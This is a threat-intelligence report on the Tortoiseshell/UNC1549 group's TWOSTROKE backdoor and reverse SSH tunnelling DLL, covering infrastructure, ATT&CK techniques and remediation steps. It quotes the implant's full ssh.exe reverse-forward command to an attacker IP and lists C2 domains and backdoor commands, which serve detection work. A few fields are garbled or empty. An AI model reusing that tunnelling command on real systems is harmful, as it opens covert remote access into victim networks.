Threat reportAPTTL-2026-3923
Tortoiseshell (Mirage Kitten / UNC1549 / Nimbus Manticore): New Toolset (TWOSTROKE Backdoor, Reverse SSH Tunnel) and Expanded Infrastructure
Tortoiseshell (Mirage Kitten / UNC1549 / Nimbus Manticore) (TL-2026-3923), also tracked as TWOSTROKE, is a high-severity advanced persistent threat campaign, first published 2026-10-20. It is attributed to CURIUM - G1012 (Iran) with medium confidence, affects Microsoft Windows (endpoints exposed to wtsapi32.dll side-loading and, maps to 13 MITRE ATT&CK techniques (T1027, T1033, T1070.004), and is covered by 9 detection rules and 31 indicators of compromise.
- Severity
- HIGHAssessed severity
- CVEs
- 0None referenced
- Techniques
- 13MITRE ATT&CK
- Actors
- 3CURIUM - G1012
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 31Indicators of compromise
Key facts for TL-2026-3923
- Threat ID
- TL-2026-3923
- Also known as
- TWOSTROKE, Tortoiseshell new toolset 2026
- Severity
- HIGH
- Status
- ACTIVE
- Category
- APT
- First published
- Last reviewed
- Attribution
- CURIUM - G1012, Mirage Kitten, UNC1549
- Attribution confidence
- MEDIUM
- Nation-state nexus
- Iran
- Motivation
- ESPIONAGE
- Target sectors
- defense, aerospace, it service providers, military, aviation, telecoms
- Target regions
- Middle East, united states of america, Europe, australia
- Detection rules
- 9
- Indicators of compromise
- 31
How Tortoiseshell (Mirage Kitten / UNC1549 / Nimbus Manticore) works
Group-IB reports on the Iranian-nexus, IRGC-affiliated Tortoiseshell APT, detailing a TWOSTROKE C++ backdoor and a reverse SSH tunneling utility, both masquerading as wtsapi32.dll, plus a large multi-country infrastructure footprint. Targeting covers defense, aerospace, IT service providers and military organizations in the Middle East and the United States.
Group-IB's August 2026 report analyzes two DLL implants attributed to Tortoiseshell (also tracked as Mirage Kitten, UNC1549 and Nimbus Manticore), an Iranian-nexus espionage group linked to the IRGC and active since at least 2018. Both samples masquerade as the Windows Terminal Server API library wtsapi32.dll and forward-export all legitimate functions, so a legitimate executable that loads the DLL through search-order hijacking or side-loading continues to work while the malicious code runs.
The first sample is TWOSTROKE (MD5 db58adc4a6c192520ed509b20a928279, PE32+ x64 DLL, 638 KB, link time 2018-09-26). It resolves APIs from encrypted stack strings, then starts a worker thread that manages C2 communication over HTTPS POST. Command fields are separated by the delimiter "@##@". The victim identifier is the DNS fully qualified hostname, XORed with the key "Pn", hex-encoded, with the trailing two-thirds reversed. It supports eight command IDs (0-7): file exfiltration, shell or executable execution, in-memory DLL execution, file download, username retrieval, machine-name retrieval, directory listing and file deletion. The C2 for this sample is neexportfolio[.]com, neexportfolio[.]azurewebsites[.]net and neexportfolio.eastus.cloudapp.azure[.]com.
The second sample is a reverse SSH tunneling utility (MD5 07dd28b748656e9e1a870c538d6df68c, PE32+ x64 console DLL, 123 KB, MSVC 19.29.30140, link time 2021-08-19). It runs the built-in OpenSSH client as: C:\windows\system32\openssh\ssh.exe root@172.86.98.113 -p 443 -i C:\Windows\System32\config\systemprofile\ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 1081. The reverse forward exposes a SOCKS-style listener on the attacker server that routes traffic back into the victim network, bypassing inbound firewall restrictions.
Group-IB also maps operational infrastructure under two parent domains, locat[.]sbs (registered 2026-05-18, Cloudflare name servers) and tiktok-u[.]sbs (registered 2026-02-26, now in clientHold). Both use country-coded subdomains (uae1-uae14, sau1-sau3, uk1-uk2, bel1, can2, au1, jp2, bridge1, cloud, 5orka). The 26 resolving IPs are mostly in AS59711 (HZ Hosting), with others in Melbicom, Beltelecom, Vultr, TimeWeb, Cloud.ru and WAIcore. Hosts run Caddy on 80/443 and a TLS service on 2222, and some expose 3x-ui, SOCKS5, Prometheus, uvicorn, RDP or WinRM. Group-IB did not detail persistence or the initial access vector for these samples, but cites the group's history of supply-chain compromise, watering holes and fake recruitment websites.
Public reporting on the same cluster gives wider context. Google GTIG documented UNC1549 spear-phishing with fake job lures and credential-harvesting pages, MINIBIKE, MINIBUS and LIGHTRAIL implants, Run-key persistence, and 125+ Azure-hosted C2 subdomains. Press coverage of Check Point research describes a 2026 Nimbus Manticore campaign using fake career portals, trojanized Zoom installers, SEO-poisoned SQL Developer downloads, and the MiniFast and MiniJunk v2 backdoors. This report's Group-IB findings and the broader UNC1549 reporting are kept distinct in this record, and no CVE is associated.
MITRE ATT&CK techniques used in TL-2026-3923
Defense Evasion
T1027 Obfuscated Files or Information; T1070.004 File Deletion; T1574.001 DLL; T1620 Reflective Code Loading
Discovery
T1033 System Owner/User Discovery; T1082 System Information Discovery
Command and Control
T1071.001 Web Protocols; T1572 Protocol Tunneling
Initial Access
T1195 Supply Chain Compromise; T1566.002 Spearphishing Link
Execution
stealth
Resource Development
Affected products and versions in Tortoiseshell (Mirage Kitten / UNC1549 / Nimbus Manticore)
- Microsoft — Windows (endpoints exposed to wtsapi32.dll side-loading and the built-in OpenSSH client)
Vulnerable versions: Not version-specific; behavioral abuse of DLL search order and OpenSSH
Remediation for Tortoiseshell (Mirage Kitten / UNC1549 / Nimbus Manticore)
Immediate actions
- Block and hunt for the IPs, domains and subdomains of locat.sbs, tiktok-u.sbs and neexportfolio.com in DNS, proxy and firewall logs
- Hunt for wtsapi32.dll loaded from any path outside C:\Windows\System32 or C:\Windows\SysWOW64
- Alert on ssh.exe launched with -R reverse-forward options and StrictHostKeyChecking=no, especially from non-interactive or service contexts and to port 443
- Search for the published MD5, SHA1 and SHA256 hashes across EDR telemetry
Workarounds
- Remove or restrict the optional Windows OpenSSH client on hosts that do not need it
- Apply application allow-listing that blocks unsigned DLLs loaded from user-writable directories
Longer-term hardening
- Deploy EDR with behavioral detection of DLL side-loading and search-order hijacking
- Restrict outbound SSH and egress to unapproved hosting providers, and monitor HTTPS beaconing to newly registered .sbs domains
- Inspect outbound traffic to Azure-hosted web apps and cloudapp.azure.com subdomains that are not part of the organization's tenants
- Train staff in defense, aerospace and IT services on fake-recruitment and fake-meeting lures
Timeline of Tortoiseshell (Mirage Kitten / UNC1549 / Nimbus Manticore)
- Link time of the analyzed TWOSTROKE wtsapi32.dll sample (MD5 db58adc4a6c192520ed509b20a928279); the group is assessed active since at least 2018
- Link time of the reverse SSH tunneling wtsapi32.dll sample (MD5 07dd28b748656e9e1a870c538d6df68c)
- Start of the February-April 2026 Nimbus Manticore campaign (fake careers, trojanized Zoom, SEO-poisoned SQL Developer; MiniFast/MiniJunk v2) reported by press citing Check Point; exact start day not stated
- tiktok-u[.]sbs registered (now in clientHold per Group-IB)
- locat[.]sbs registered behind Cloudflare name servers; hosts the active country-coded subdomain set
- Cloud Security Alliance research note on Nimbus Manticore AI-assisted backdoors published
- Group-IB publishes Tortoiseshell toolset and infrastructure analysis (authors Mansour Alhmoud and Mohamed Emam)
Sources cited for Tortoiseshell (Mirage Kitten / UNC1549 / Nimbus Manticore)
- Tortoiseshell: New Toolset and Operational Infrastructure Exposed
- When Cats Fly: Suspected Iranian Threat Actor UNC1549 Targets Israeli and Middle East Aerospace and Defense Sectors
- Iranian Hackers Deploy MiniFast and MiniJunk Backdoors (The Hacker News)
- Iran-Nexus Threat Actor UNC1549 Takes Aim at Aerospace (Dark Reading)
- UNC1549 Critical Infrastructure Espionage Attack (FortiGuard Outbreak Alert)
- CSA Research Note: Nimbus Manticore AI-Assisted Backdoors Target Western Sectors
- Frontline Intelligence: Analysis of UNC1549 TTPs, Custom Tools, and Malware Targeting the Aerospace and Defense Ecosystem
Detection coverage for TL-2026-3923
As of 2026-10-20, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-3923 across Splunk SPL, Microsoft KQL and Sigma, covering 31 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.